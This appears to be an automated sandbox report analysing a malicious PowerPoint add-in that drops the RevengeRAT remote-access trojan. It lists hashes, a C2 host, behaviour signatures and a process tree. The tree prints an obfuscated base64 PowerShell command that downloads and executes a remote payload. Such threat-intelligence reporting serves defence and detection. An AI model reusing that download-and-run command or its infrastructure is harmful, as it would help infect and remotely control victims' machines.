Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    10-05-2023 13:50

General

  • Target

    nvoucher_das_reservas.ppam

  • Size

    44KB

  • MD5

    906084f891c354df688b9b1012673cb0

  • SHA1

    df3ac01679d444b6ae6cc81bf0f380cce79bd987

  • SHA256

    2f29c288b1c65341f982d8984a0650ad66765a3bc221bedcebbd2bc784a9da21

  • SHA512

    c8ab289935931708371d6ed05e95e26981ae338bafeadea4a272541575ace9216dbf569410e535c023727c0c92346b1ecc5d8c35c0a200462967641a8feb1701

  • SSDEEP

    768:VPYRy7GviozfDTAR/rRSROn3sYOWTS2+1jqBoVEmErcSeykOgUGM5d/ym4csz:VgRyCR7T2/FMOncYOWXvBoV3EgS8jUGN

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\nvoucher_das_reservas.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:840
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1296
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:816

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/816-104-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/816-106-0x00000000047F0000-0x0000000004830000-memory.dmp

        Filesize

        256KB

      • memory/816-105-0x00000000047F0000-0x0000000004830000-memory.dmp

        Filesize

        256KB

      • memory/816-96-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/816-102-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/816-100-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/816-99-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/816-98-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/816-97-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/816-95-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1284-61-0x0000000005B80000-0x0000000005C80000-memory.dmp

        Filesize

        1024KB

      • memory/1284-82-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/1284-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/1296-84-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-92-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-94-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-88-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-90-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-86-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-83-0x0000000002460000-0x0000000002478000-memory.dmp

        Filesize

        96KB

      • memory/1296-63-0x0000000002A40000-0x0000000002A80000-memory.dmp

        Filesize

        256KB

      • memory/1296-62-0x0000000002A40000-0x0000000002A80000-memory.dmp

        Filesize

        256KB